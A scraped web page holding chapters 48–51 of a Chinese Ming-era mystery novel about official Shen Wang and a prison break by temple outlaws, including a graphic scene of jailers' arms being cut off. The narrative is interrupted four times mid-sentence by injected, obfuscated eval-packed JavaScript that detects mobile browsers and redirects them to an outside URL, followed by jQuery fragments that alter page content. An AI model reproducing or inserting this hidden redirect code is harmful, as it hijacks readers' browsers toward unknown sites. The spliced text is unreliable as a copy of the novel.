l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184847|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对手。 “此事蹊跷，当从长计议。”晏回沉声道。 * * * 沈忘捏着那张贴满全城的画像，骨节因用力而微微发白。他早就料想到，自己的一举一动都在旁人的眼皮底下，可万没料到他们竟敢以自己的名义，大肆搜捕，简直视王法为无物。如此嚣狂，无视律法，可见其背后靠山之势大。 沈忘冷冷看着一旁的孟威，开口道：“孟知府，你可知仅这一日，芙蓉街周边便拘拿了多少无辜女子，牵连了多少普通家庭？孟知府作为济南府的父母官，难道就不觉痛心吗？” 孟威偷瞄了眼坐在客座的布政使敖远，见对方正端着茶盏慢悠悠地吹着浮沫，仿佛面前的争端与他毫无干系一般，不由心中暗骂了一句，面上却浮起讨好的笑意：“沈大人息怒，卑职自是痛心疾首，可就是再痛心，于案情又有何意呢？圣上和朝廷里，多少双眼睛盯着咱们这小小的济南府，卑职这不也是着急吗？眼瞅着沈大人天纵英才，竟是凭一个油旋儿的渣子画出了犯人的小像，卑职便按图索骥，替大人拿了人，大人怎地还着恼了呢？” 沈忘冷笑一声，斥道：“知府大人何必揣着明白装糊涂，本官画的是地府判官的疑似者，何时让你牵连无辜？知府大人打着沈某的名号，大肆搜捕，引得全城上下天怒人怨，所图为何，还需本官明说吗！” “沈大人此言差矣。”敖远终于放下茶盏，甩了甩自己补满补丁的官袍，“孟知府也是为济南百姓安危着想嘛！如今地府判官闹得人心惶惶，多抓几人审一审，也好让百姓安心。再说了，”他话锋一转，眼神瞟向沈忘，“这满城搜捕，不也是为沈大人分忧？免得判官党羽暗中作祟，扰了您查案的心思……唯一不妥的是，满城的小像实在是有些浪费……” “分忧？”沈忘已经不想再听那虚伪的敖远絮絮叨叨什么节俭、清廉，讥讽道：“敖大人怕是忘了，按察司主掌刑名，缉捕之事何时轮到布政司指手画脚？敖大人一向清廉，这官袍上都是补丁摞补丁，最是懂得韬光养晦之道。可怎地这次，却忍不住了呢？” 俊朗的面容上起了寒霜，那一向上扬的唇角此刻如刀锋锐：“还是说，敖大人怕了？” 孟威的脸“唰”地白了，敖远的笑容也僵在脸上：“沈大人慎言！没有证据岂可诓赖于我！” “敖大人也知道没有证据！？那岂可凭一张小像，任意捉人！” “沈大人你——” 三人呈抵足之势，互不相让。 就在这时，门外传来一阵急促的脚步声，驿卒捧着一卷明黄的文书闯了进来，单膝跪地：“沈大人，京城六百里加急！吏部调令！” 沈忘的心猛地一沉。他接过文书，拆开封蜡，瞳孔骤然收缩，只见那调令上写得明明白白：着山东按察使沈忘即刻启程，赴青州府核查盐引亏空案，限三日内离济，不得有误。 青州盐引案？那是三个月前就已审结的旧案，为何突然调他去复查？沈忘抬眼看向敖远，对方正端着茶盏，掩去眼底一闪而过的得意。 “看来沈大人要辛苦一趟了。”敖远慢悠悠地说，“青州离济南三百里，沈大人这一去，少则半月，多则一月，济南的事……孟知府，你可得多费心了。” 48. 不秋草（十三） 耳听着沈忘的脚步声远去，孟威搓着手凑了上来，端起提梁壶给敖远倒上满满一壶茶，压低声音道：“大人，那沈忘既已离济，何不……” 孟威以手为刀，在自己脖颈处横着一抹：“岂不是省去了许多麻烦？” 此时，敖远正端起茶杯，看着那被开水激起来的白沫，闻言却不由“嗤”地笑出声。他抬眼斜睨孟威，那眼神像在看一块朽木：“废物。” 孟威一怔，磕巴道：“大人这话如何……如何说起啊……” “你有没有想过，为何那沈忘同张居正、戚继光私交甚密，却从未受其牵连？为何他能从一介小小县令几经拔擢，终至按察使的高位？为何他从未结党，却没有任何党派敢触其锋芒？你真以为凭他一己之力，能有今日之势？他倚仗的——”敖远竖起食指，向头顶一指，“是上面那位。” “官员调任，只需吏部青纸，何须明黄文书？还假模假式的六百里加急？你真当这一切都是鹰巢中人运作吗？是上面那位，怕沈忘深陷泥潭，无从自保，这才将他支开，从长计议。” “你今日敢动他沈无忧，明日你孟家满门便能去西市受剐。不信，你便试试。” “啪嗒”，一滴冷汗滑过乌纱帽的系带滴在地上，孟威脸色惨白，跪倒在地：“多谢大人提点，卑职……受教了。” 敖远冷冷一笑，扬起手臂将茶碗中的荷叶茶泼了个干净，尽数洒在孟威膝前寸许。只听敖远轻声道：“粗梗败叶，扫兴。” * * * 青州方向的官道上，最后一缕夕阳正沉进远处的山坳，把半边天染成暗红色。官道两旁的白杨树光秃秃的，枝桠张牙舞爪地伸向天空，如同无数支枯瘦的手臂。一道马车的影子，由远及近，驶往夜色隆盛处。 马车内，沈忘借着最后一丝天光，翻阅着卷宗。坐在他身侧的柳七，正在闭目养神，接连多日的剖验让她身心俱疲，只靠着“天下第一女仵作”的一腔硬气吊着。此刻，沈忘被调任青州核查盐引案，她方才能趁着赶路的间隙，略作休憩。而坐在沈忘对面的霍子谦，却是长眉紧蹙，搁在膝盖上方的拳头紧紧攥着，似有千言万语不知如何开口。 “子谦”，霍子谦骤然抬头，发现沈忘正歪头笑着望着他，“有什么话不妨直说。” 霍子谦狠狠抿了一下干裂的唇，压抑住即将冲口而出的哽咽：“沈兄，我们走了，那些无辜的女子……怎么办……” 柳七缓缓抬眸，和沈忘对视了一眼，也朝霍子谦望过来。 霍子谦梗着脖子，声音悲切：“沈兄，菀儿当年也曾因罪被押入大牢，可当时历城县衙是沈兄坐镇，那些狱卒自不敢造次。可事到如今，你被迫调任青州核查，济南府彻底成了孟威一家独大。他的脾气秉性，绝非善类，纵容狱卒作恶是可想而知之事。那些女子……何辜啊……” “我们不能……不能放任不管啊……”说到最后，霍子谦的嗓音已是喑哑不可闻。 虽然滥补无辜一事是孟威一力促成，可霍子谦总觉得和自己亦有脱不开的关系。如果当年沈忘没有私下放走南氏兄妹，如果多年以后沈忘没有接回南菀，促成自己与对方的大好姻缘，那沈忘的官途可说是无懈可击，没有丁点儿污泥，对方又如何能要挟得了他呢？ 而现在，自己不仅拖了沈忘的后腿，还间接害了这么多无辜女子入狱，自己真的……万死莫赎啊！ 无数杂乱思绪在霍子谦的脑海里纠结缠绕，顶得他太阳穴突突直跳，整个人都被愧疚感坠得垮了下来，仿佛一瞬之间老了十岁。 一左一右，分别探来一只手臂，不轻不重地按在霍子谦的双肩上。再抬眸，映入眼帘的是沈忘和柳七的脸。 多年故友成亲人，霍子谦不由鼻子一酸，那两张眉目如画的面容也随之模糊起来。 “子谦你放心，无论是当年的历城县令还是如今的山东按察使，都绝不会放任无辜者受难。” 霍子谦如同溺水者忽逢浮木一般，深深地吸了一口气，眼泪噼里啪啦地掉了下来。 “只是……非常之时当行非常之事，济南府衙今夜……只怕清净不得了。” * * * 是夜，济南府衙大牢。 黄四娘挡在最深处那排牢房前，背脊抵着冰冷的木栅栏，双臂拼力张开。她本就生得身量魁梧，此刻一身皂隶服绷得紧紧的，更像堵挪不动的墙。 “邢牢头，夜已深了，若有提审，明日请早。” 嘴上称着牢头，黄四娘的脸上却没有丁点儿笑意。她是沈忘手下的官媒婆，专责女犯看管押解等事。沈忘与柳七临行前曾嘱咐于她，没有官府许可，绝不允牢头狱卒私自提人，务必确保在押女囚的安全与清白。黄四娘深以为然，这般腌臜污秽之地，若没有她这个官媒婆一力相保，只怕囚中女犯危矣。 那邢牢头并不想与黄四娘起了冲突，毕竟官大一级压死人，官媒婆这种女差没什么了不起，可她背后的那位沈按察可是眼里揉不得沙子的人物，便陪笑着解释道：“黄大姐，我也不拿问旁的，就是那今晨抓进来的女子，和地府判官关系密切，必须抓紧审了，免得夜长梦多啊！”他笑得谄媚，眼尾的横纹挤在一处，沟壑纵横，让人看着心堵。 黄四娘侧转过脸，看了看走廊尽头的那间牢房。那个名叫青杳的女子，正趴伏在潮湿阴冷的地面上，长发遮住了半个身子，看不清面容，只能隐隐窥见身体虚弱的起伏。黄四娘心中恼恨，白日里提审尚且对那女子动了拶刑逼供，若是夜里再被这帮虎狼拿了去，可还有命在？ “沈大人说了，不可。”黄四娘冷冷道。 闻言，邢牢头背后的狱卒们鼓噪起来，骂骂咧咧之声不绝于耳。 “少搁那儿装腔作势，真把自己当宫里的嬷嬷了！” “还沈大人呢，沈大人都夹着尾巴去青州了，这如今啊，是孟大人说得算！” “就是，狐假虎威的玩意儿！还当她主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184848|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子是盘儿菜呢！” “头儿！咱老爷们儿能让个娘儿们挡了路么！” 邢牢头本不想撕破脸，可实在被背后那帮虾兵蟹将激得着了恼，呵斥道：“没错！这济南府大牢，现在是孟大人说了算！孟大人有令，今夜再审那妖妇，你个官媒婆也敢拦？” “《大明律》明言：‘凡妇人犯罪，除犯奸及死罪收禁外，其余杂犯，责付本夫收管，不许一概监禁’！”黄四娘一字一顿，声声砸得梆梆响，“这些姑娘本就是良家子，知府滥捕已是违禁，你今夜提审，是要私刑逼供，还是想借机作践，你自己心里头清楚！” “反了你这老虔婆！”邢牢头被揭了短，面皮涨成猪肝色，挥手就朝黄四娘推去，“滚开！不然连你一起锁了！” 他手刚触到黄四娘胳膊，就觉一股蛮力涌来。黄四娘人高马大，早年帮家里抗活儿，手上有把子力气，便是来个青壮小子也不换。此刻她使出了十足十的力气，顺势一旋身，竟将王牢头整个人掼在青砖地上。 “咚”一声闷响，整个大牢陷入一片死寂，转瞬过后，邢牢头嘶哑的惨叫声响了起来。 “反了天了！给……给老子打！” 黄四娘狠狠往地上啐了一口，虎目圆睁，死死盯着冲将上来的狱卒。她只有一个人，而她的身后是一帮被押牢中，手无寸铁的大姑娘小丫头，她知道，今晚的她亦或是她们，都没有什么好下场。 不过，这也不妨碍此刻的她，毫不犹豫地抡起拳头。 水火棍的呼啸与拳风之声几乎同时击中了对方，黄四娘侧身卸了部分力道，扛住了一记重棍，也将自己蓄满力的拳头狠狠送到了对方的下巴颏上。她闷哼一声，眼瞧着对方轰然倒地，不敢错眼地继续迎向下一个敌人。 然而后者的胳膊还没来得及扬起，黄四娘就觉得眼前一花，下一瞬，那狱卒便如中了定鸡术的公鸡一般，四肢一僵，喉咙里发出数声“嗬嗬”的漏气声，紧接着便直挺挺地倒了下去。 “什么人？！”邢牢头从地上爬起来，捂着腰嘶喊，可声音刚出口，就被另一道黑影掐断在喉咙里。那黑影不知何时绕到他身后，左手虎口锁住他下颌，右手食指点在他后心，邢牢头浑身一哆嗦，瘫软在地。 剩下的五六个狱卒彻底慌了。有人举着水火棍乱挥，有人想往牢门外跑，可那数道黑影的动作却比他们的恐惧更快！ 不过转瞬的功夫，方才还鼓噪着要锁了老虔婆的狱卒，此刻竟横七竖八地躺了一地，个个双目紧闭，要么昏迷，要么瘫软，竟无一人能发出呼救声。 黄四娘攥紧的拳头慢慢松开又收紧，后背渗出一层冷汗。 快……实在是太快了！便是族中最能干的好手，割麦子也没有这般快！ 她屏住呼吸，凝视着站在最前面的那道瘦削的黑影。那人面上蒙着黑布，只露出一双眼睛，瞳仁是少见的琥珀色，眼睑下方笼罩着一层淡淡的青气，眉目如同藏在雾里。那是女子的眼睛！ 49. 不秋草（十四） 还不待黄四娘细想，黑布下的嘴唇动了动，吐出两个字：“放人。” 黄四娘不免口中发苦，今日这是怎地了，是如何招惹了阎王？作为官府女差，她能为女囚做的只有护其周全，免其受辱，但却没有资格私放囚犯。便是她知道这些女子大部分都是无辜的良家子，那她也不能枉顾职责放人啊！ 心中暗叹，黄四娘喟然：实在是横也是死，竖也是死！ 她正欲再上前拼命，大牢入口突然传来一阵急促的脚步声。几名黑衣人互相对望了一眼，几个纵跃，便尽皆隐入房梁上的暗影之中。 与藏如房梁之上的那数道黑影不同，这次冲进来的黑衣人各个膀阔腰圆，肩宽背厚。为首的壮汉脸盘奇大，这导致遮脸的黑布只能堪堪挡到鼻尖，虬结浓黑的络腮胡武武扎扎地从黑布的缝隙顶了出来。 那壮汉甫一进来声势极盛，人还未至，拳风已到，可高扬的拳头却卡在半空。满地横七竖八的狱卒像被割倒的麦子，邢牢头瘫在最前头，白眼儿翻得都找不到黑眼仁儿。壮汉怔愣片刻，火把光扫过黄四娘攥紧的拳头，溅了血的皂隶服，最后落在她脚边那根断成两截的水火棍上。 “嚯——”壮汉乐了，“可以啊大姐！省得我……” 黄四娘只觉那笑声有点儿耳熟，可根本不待大汉把话说完，房梁上突然传来衣袂破风的锐响！ 数道黑影如蝙蝠般俯冲而下，与黑衣壮汉们斗在一处。许是看出壮汉们带着功夫，比方才的狱卒更难对付，一把长刀直劈为首大汉的后颈，刀风带着寒气，毫不留情。而那壮汉头也不回，反手从后腰抽出一柄长斧，斧锋与刀尖凌然相撞！ “铛！”火星四溅。 “哪来的野崽子！”壮汉怒喝，合身扑上，回应他的却只有愈来愈快的刀光剑影。 牢房本就地方局促，此时乍一涌进这么多人，立时乱作一团，黄四娘被夹在中间，左躲右闪，到现在也不知究竟哪一方是自己人，亦或者哪一方都不是自己人。牢房里关押的女囚哪里见过这种阵势，皆唬得脸色惨白，哭声四起。 见黄四娘都快被挤到牢房里面了，那壮汉浓眉紧蹙，怒喝道：“黄大姐，还愣着呢！放人啊！” 这一声喊，倒是让黄四娘眼前一亮，脑海里瞬时清明起来。她认得这声音了，这不就是给沈大人压轿的虬髯汉子吗！也就是说，那汉子是沈大人派来的！ 沈忘所命，岂有不从。黄四娘几乎是连滚带爬地摸到牢门前，趁着两方混战之际，开始用钥匙开铁锁。开着开着，满头大汗的黄四娘发现牢里的斧钺相击之声止了，只剩下数人急促而粗重的喘息。 突然，一阵清亮的女声响起。 “洪头漫了祖庙阶，合字不认合字面？” 壮汉明显一怔，打量了为首的黑影片刻，有些不可置信地对道：“线儿分两边，各踩各的界。你捞你的瓢，我救我的口？” “成交。”女子爽利一拱手。 大汉蹭了一把鼻涕，乐了，也跟着拱手：“得罪！” 黄四娘已然看傻了，手上的动作不免也慢了下来。她随沈忘做了这么久的官媒婆，却是从来没见过今日之奇事。这两拨人，竟都是来救人的吗？ 这时，那女子眼神锐利如刀，凌空射来：“速速开门！” 黄四娘赶紧垂下头，老老实实地打开了一间又一间的牢门。她知道，今夜的奇事已经超出了她能管辖和理解的范围，可能为这些无辜的女子谋条生路，终究是好事，不是吗？既然如此，甭管她是西山的瓢把子，还是东海的盐贩子，她只管放人便是。 那与黑衣壮汉不打不相识的女子，不消说，自然是晏回。她摸准了沈忘离府的时间，带着范凌舟、楚庸、唐珠儿等人前来营救青杳，而万没料到，竟然又碰上一群不速之客。打斗之间，晏回听见大汉同那官媒婆喊了一句话，隐约有“放人”之意，她心思急转，猜度出这帮人也许是另一批前来营救无辜女子的江湖义士，便立刻停了手，用绿林暗语相探问。 所谓“洪头漫了祖庙阶，合字不认合字面”，意指大水冲了龙王庙，一家人不认识一家人。而大汉所回“线儿分两边，各踩各的界。你捞你的瓢，我救我的口”，则表示大路朝天，各走一边，咱们井水不犯河水，各救各的人。 两边厢各有任务，黑衣壮汉们分散到各个牢房中，粗粝的大手不由分说将蜷缩在牢房角落的女囚拉起：“别怕，跟着俺们走，保准没人敢伤你们！” 女囚们早被方才的打斗吓得腿软，此刻被壮汉们半扶半架着往外拖，早已哆嗦得不成个儿。壮汉们瞧着各个粗声大气，对待这些无辜的良家子倒是存着十二分的小心。兹是还能走的，便披了衣裳在队伍后跟着。脚崴腿软不能行的，便一手一个扛在肩上，以裹巾覆了脸，给这些良家子维系着体面。 而晏回一行，则直奔最深处的牢房寻青杳。牢房门早被黄四娘打开，晏回高擎着火把，四下探照，终于扫到了那瑟缩在墙角的影子。 青杳的身形本就瘦削，此刻再看，一日不见，更是瘦得塌陷下去，如同一张薄薄的状纸。听到冲进牢房的脚步声，青杳方缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184849|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抬头，散乱的长发被汗水黏在脸颊两侧，勾勒出刀砍斧凿般锋利的线条，映衬着一种近乎绝望的惨白。晏回看着也不免心惊。 她快步上前，扶住青杳的胳膊，微微用力想将她搀扶起来。青杳却是一个踉跄，闷哼出声，额角也痛得渗出冷汗来。 “怎么了？”范凌舟离得近，连忙俯身扶住她摇晃的身子，目光不经意扫过青杳无力垂着的左手。火把摇曳的辉光之下，那只手背上赫然横着几道深紫的烙印，边缘还在渗血，指关节处更是肿得老高，像是被铁钳夹过，皮肉翻卷着，看着便触目惊心。 范凌舟的后槽牙一用劲，咬得咯咯直响。在入长生观之前，他算是与官府打过几次交道，识得这是拶指之刑。此刑兴于唐，盛于明，多用于对女囚逼供。用刑时以五棒分夹五指，索缠环上，杖动索紧，力透指骨。正所谓十指连心，拶指所及，非独肌肤之痛，实乃神魂之摧。寻常妇人，往往一见拶指的刑具，便魂飞魄散，哪敢不招。可看青杳的伤势，只怕是受尽了磋磨，亦未曾吐口。 “狗官！”范凌舟的声音微微发颤，他和晏回一左一右掺起青杳，小心翼翼地避开青杳的伤口，往大牢外走去。 楚庸自然也看到了青杳的惨状，但他亦是知道轻重缓急的人，即便心头怒火翻涌，也只能恨恨地踹了一脚牢门，闷头跟着往外走。 众人在门口处与那帮大汉打了个照面，匆匆颔了颔首，便钻入后方的小巷，直奔早就候在那儿的牛车。劫狱之前，楚庸给青墩儿面前放了一捧草料，此刻草料吃完，青墩儿正等得不耐。远远见着众人互相搀扶着过来，高兴得打了一个响鼻。 晏回和范凌舟，一个推一个抱，将青杳安顿在马车最内侧，盖好了毯子，便立时冲楚庸道：“回观！” 楚庸一扬鞭子，青墩儿已是“老牛识途”，一溜小跑地往长生观的方向跑去。 牛车颠簸，青杳此刻已陷入半昏迷的状态，虽是竭力压制，可颤抖的嘴唇还是不时流溢出痛楚的呻吟声。晏回取出一个小瓷瓶，放在青杳的鼻端一晃，不多时对方便沉沉地睡了过去，紧蹙的眉头也缓缓松开，似乎锥心之痛已然散去。 见青杳睡得熟了，晏回与范凌舟方才坐回到车座上，互相对望了一眼，皆是一声轻叹。 突然，晏回怔了一下，眉头一紧：“珠儿呢？” 范凌舟也被晏回这一问给问愣了：“不是一直跟在你后面吗？” 晏回唇锋如刀，缓缓抬眸，看向正在急速向后退却的济南府衙的暗影。 “她还在那里。” 50. 不秋草（十五） 今夜这场风暴终于收尾，两拨黑衣人带着女囚们消失在巷道深处，脚步声、啜泣声渐渐远了，只剩下满地横七竖八的衙役。 黄四娘瘫坐在冰冷的石阶上，手里还攥着那串磨得发亮的钥匙。方才那壮汉走时，曾嘱咐于她，一个时辰后在估衣街的当铺汇合，她的夫君亦会在那里候着她。沈大人早已料到今日之劫，提前做了安顿，让她和家人到寨子里避避风头。待到沈大人重回济南府，自会将她调回继续任用。 黄四娘并不担心自己的安危，因为她相信沈忘自有办法能护她周全。可她生怕此事过后，沈大人便放她回家，继续过那种转完灶台转炕台的日子，所以始终惴惴。 心中正自纠结，耳畔却传来一阵轻微的窸窣声。黄四娘眉头一蹙，顺手抄起一旁的水火棍站了起来，暗道：想必是哪个衙役要醒了，若是吵嚷起来，怕是会给沈大人添麻烦，也容易挡了那帮姑娘丫头逃命的道儿，我得再补上一闷棍才是。 她火把也没有拿，摸着黑，借着阴惨惨的月光，蹑手蹑脚地寻了过去。 只见那满地瘫软的衙役中间，不知何时多了一个人影。 那影子颇为瘦小，裹着件深色短打，月光照在她的背上，勾勒出蝴蝶骨锋利的弧度。她手里似乎握着什么，正微微扬起，银亮的光一闪，黄四娘猛地看清——那竟是一把削铁如泥的弯刀！ “住手！”黄四娘几乎是下意识地喊出了声。 黑影没应声，只缓缓侧过脸。那是一张极其俏丽，明亮的脸。杏核般的大眼睛，黑白分明，眼尾微微上扬，伴着狭长的睫毛斜飞入鬓。鼻子小巧而挺翘，鼻头圆圆的，衬得那线条柔和圆润的面庞，愈发可爱，灵动非常。 这是一张不该出现在这种腌臜之地的脸。 不知为何，黄四娘心里陡然升起一股怜惜之情。这股对少女没来由的疼爱，让她几乎忽略了她高高扬起的手臂，以及手中握着的冰冷的刀柄。 少女冲黄四娘眨了一下眼睛，似是笑了，她轻轻撅起嘴，唇瓣儿如蔷薇绽放。 “嘘——”少女压低声音道。 下一瞬，弯刀便带着风声劈下，动作迅疾如电！黄四娘没有看清刀是如何落下的，少女亦没有转头，二人就这样大眼瞪小眼地对望着。黄四娘却听得“噗嗤”一声闷响，如同湿麻布被生生扯断。 黄四娘怔愣地从少女的脸上移开目光，缓缓向下。月光下，那衙役的右臂竟齐肩断了，断口处的皮肉翻卷着，白森森的骨茬刺破皮肤，血“咕嘟咕嘟”地往外冒，像泉眼似的，瞬间染红了身下的干草。那截断臂落在地上，仍旧不甘地抽搐了两下，方才彻底不动了。 黄四娘只觉得一股寒气从脚底板直冲天灵盖，手里的水火棍“哐当”掉在地上。 那少女手中的弯刀还在滴血，而她则蹲在血泊里，伸出食指，戳了戳衙役还在起伏的胸口，如同逗弄一只小虫。 “他没死，只是少了点儿东西。”她看向黄四娘，沾了鲜血的白皙面庞上，黑黢黢的瞳仁似乎比方才更亮了。歪了歪头，少女咧嘴笑了。 * * * 夜，金岭驿。 沈忘穿着件月白锦袍，正执黑子悬在棋盘上空。棋盘中央，他那片苦心经营的“大龙”已被柳七的白子围得密不透风，最后一道“气”眼看就要被点死，连挣扎的余地都没有。柳七在对面端肃坐着，一截清瘦的手腕搭在乌木棋罐上，似乎无论沈忘在哪儿落子，她都有足够的自信，凌然出击，终成绞杀之势。 等了半晌，沈忘忽地笑了，将两粒黑子放于棋盘右下角，发出“哒”的轻响：“是我输了。夫人棋法精妙，围杀我于无形，实在是让我难以招架。” 柳七这才抬眼，眸色平和，不含半分得色：“是无忧你心事重重，自三十二手起，便失误连连，这才大意失荆州。” 沈忘不言，只是径自端起提梁壶，给柳七斟了满满一杯热茶。自隆庆三年马上相逢，他与柳七便罕有分开，相偎相伴至今。往往他一个眼神，柳七便心领神会；柳七一个蹙眉，他便了然于胸。是以，今日之心事，沈忘虽未宣之于口，可柳七从他的棋意中，亦早就猜度出十之八九。 沈忘端起杯，轻轻碰了碰柳七的茶杯外沿：“敬，马上知己。” 柳七微微一笑，温声道：“敬，手下败将。” 闻言，沈忘畅快大笑，胸中郁结为之一舒。 忽地，屋外响起禽鸟翅膀扑动的声音。沈忘立时站起，快步走出门去。 一只灰羽信鸽落在窗台上，腿上缚着一卷竹筒，绿豆大的眼睛警惕地扫视着沈忘。沈忘轻手拔开竹筒的塞子，从中抽出一卷折叠得极为精巧的油纸卷，上书三个甩胳膊蹬腿儿的大字：长生观。 沈忘抬起头，极目远眺，西方的天空阴云隆盛，似有雷电孕育其中，不时从云层的缝隙间腾跃出翻卷如蛇的闪电，一场暴雨，即将倾斜而下。 他早就料想到，有这么多无辜女子被捉，地府判官绝不会袖手旁观，以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184850|196986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们嫉恶如仇的风格，只怕当夜就会有所行动。是以，他安排虬髯客在护送无辜女子返家的同时，腾出一只手来跟踪另一拨前来营救之人，终是摸到了地府判官的老巢。 若是按照晏回的安排，救出青杳即刻便走，以她们的机敏迅捷，只怕虬髯客断无机会跟从。可偏偏，唐珠儿节外生枝，硬要以自己的方式惩戒对青杳用刑的诸衙役，反而被虬髯客抓住了机会。 “长生观？”柳七读出声来。“那地府判官，竟是修道之人？” 沈忘微微一笑，将身上披着的外裳拢在柳七的肩头：“停云，我时常觉得，虽然我们与这地府判官道不同不相与谋，但我们所追寻之真相应该殊途同归。” 他看向那片冥冥欲雨的夜空，轻声道：“孟知府，只怕你这次，惹错人了。” 正所谓人心曲曲弯弯水，世事重重叠叠山，其间自有因果报应，天道循环。沈忘这边，对于地府判官的拼图正缓缓成型，而长生观一厢，却另有一番景象。 唐珠儿撅着屁股跪在蒲团上，正一笔一划地抄写着什么。碧霞元君的神像高踞神台之上，左手托玉如意，右手垂握拂尘，披云肩羽衣，着锦绣霞裙，戴百宝翠冠，面容慈穆，正垂眸俯瞰姿势别扭的少女。 额角沁出的薄汗顺着脸颊滑落，滴在宣纸上，晕开一小团墨渍。她慌忙抬手去擦，袖口却蹭到了未干的字迹，留下一道浅灰的印子。唐珠儿轻轻“呀”了一声，懊恼地咬住下唇，把屁股撅得更高了一些。 昨夜从济南府衙出来，她便回观里领了板子。非令不动武，非仇不滥杀，这是长生观一直以来的铁律。而昨夜，她为了替青杳报受刑之仇，将一干衙役的右臂全部砍断，掀起了轩然大波，正是触犯了观中禁令。是以，身为魁首的晏回亦毫不姑息，实打实地赏了珠儿三十大板，并罚她于大殿中抄经醒神。 对于晏回，唐珠儿其实并不恼她。便是她再任性刁蛮，也知道身为观中魁首，晏回决不能偏颇于她，否则难以服众。可是想及晏回丝毫没有波动的面容，唐珠儿还是不免撅起了嘴，哼哼唧唧地唱了起来：“非是我诸葛亮不把情讲，一来是奉君命二来是军法昭彰。今日里斩马谡别无他望，从今后各将士当守规章！” 手中狼毫笔一挥，唐珠儿竟是与马谡起了同病相怜之情，眼圈一红，叹道：“来！将马谡……斩！” 许是情之所至，狼毫笔随着动作兀自脱手，飞将出去。 而恰在此时，大殿的门吱呀一声开了。 51. 不秋草（十六） 一双莹白的手陡然探来，手腕翻转，五指如拈花般轻巧一拢，那支狼毫便稳稳落进她的掌心，正是推门而入的晏回。 她缓步走到神台前，将笔递给唐珠儿。唐珠儿本来塌腰撅屁股的姿态瞬时立了起来，猛地往前挪了挪，却不抬眼看她，只拿余光偷瞄了一眼，驯顺地抬起手：“谢谢姊姊。” “抄了多少？”晏回垂眸看着那篇墨色淋漓的经文，倒与那神台上低眉垂首的碧霞元君有几分相似。 “抄到了斩马……不是不是，是上善若水！”唐珠儿慌忙摆手解释道。 从晏回的角度看去，只能看见少女毛茸茸的头顶，细碎的发不安分地从耳朵上沿呲出来，像极了猞猁耳尖的长毛。晏回的嘴角不易察觉地扬了扬，并不答话，只是俯身放下了药箱。 箱里铺着软绒，放着个白瓷瓶、一卷纱布，还有数根缠着药棉的细竹签。她拧开瓶塞，一股清凉的草药香便漫开来，混着殿里的沉水香，竟意外地熨帖。 见此情景，不知为什么，唐珠儿那点子与马谡的同病相怜，拐了个弯儿，直往“委屈”的小路上钻去，冷不防便红了鼻尖儿。她吸了吸鼻子，哼哼唧唧地嘟囔了两句，晏回没听清。 “怕疼？”晏回的声音也软了下来。 “才不是……”唐珠儿一扭身，闷头扎进了晏回的怀里。晏回动作一滞，良久，叹了口气，抬手在少女的头顶抚了抚。 唐珠儿感觉自己的头顶多了五个微凉的触点，哼哧了一声，鼻涕和着眼泪肆无忌惮地淌了下来，蹭了晏回一身。 “有没有恼我？”晏回柔声道。 “才没有……只是……” “只是？” “只是你打我的时候，眼睛都没有眨一下！”唐珠儿的哭声大了起来，“姊姊你为什么不眨眼睛！” 唐珠儿为着晏回没有眨眼睛，哭了一炷香的时间，晏回又好气又好笑，却偏生想不出词句安慰，只能抚着她的脑袋，任由她哭。终于，唐珠儿抽噎了几声，止住了哭泣，抬起头来。 “可若再给我一次机会，我还会砍了他们。”唐珠儿哭得泛红的面颊，犹如桃花初绽，可那花瓣下掩映的笑容，却带着桀骜的邪气。“若我知道会因为他们而挨板子，我会把他们两只胳膊都砍下来。” “领板子我认，可他们也要认下对杳娘犯的罪。” “砍了他们的胳膊便完了？”冷不防，晏回问道。 唐珠儿怔了一下，反应过来，又惊又喜道：“那晏回姊姊准备怎么做！” “那些衙役的确是恶贯满盈，可是珠儿，他们所倚仗的可是孟威的威势，若是没有孟威在其后鼓噪，便是给他们几个胆子，他们也不敢轻易对女囚下手。”说完，晏回却不免有些愣怔。她似乎忘记了，沈忘的存在。若沈忘是鹰巢中人，为何在这般关键时刻被中途调离；可若沈忘不是鹰巢中人，他又为何要为虎作伥，于全城搜捕无辜女子呢？ 她绝不相信，在这污浊官场之中，还能有什么独善其身的存在。便是有，也早已殒没在三年前那场声势浩大的清算之中。沈忘到如今都能官居高位，游刃有余，定然是同鹰巢中人虚与委蛇，绝不是何善类！ 只可惜……除了十数年前的旧案，她的确没有再查出沈忘的把柄了…… 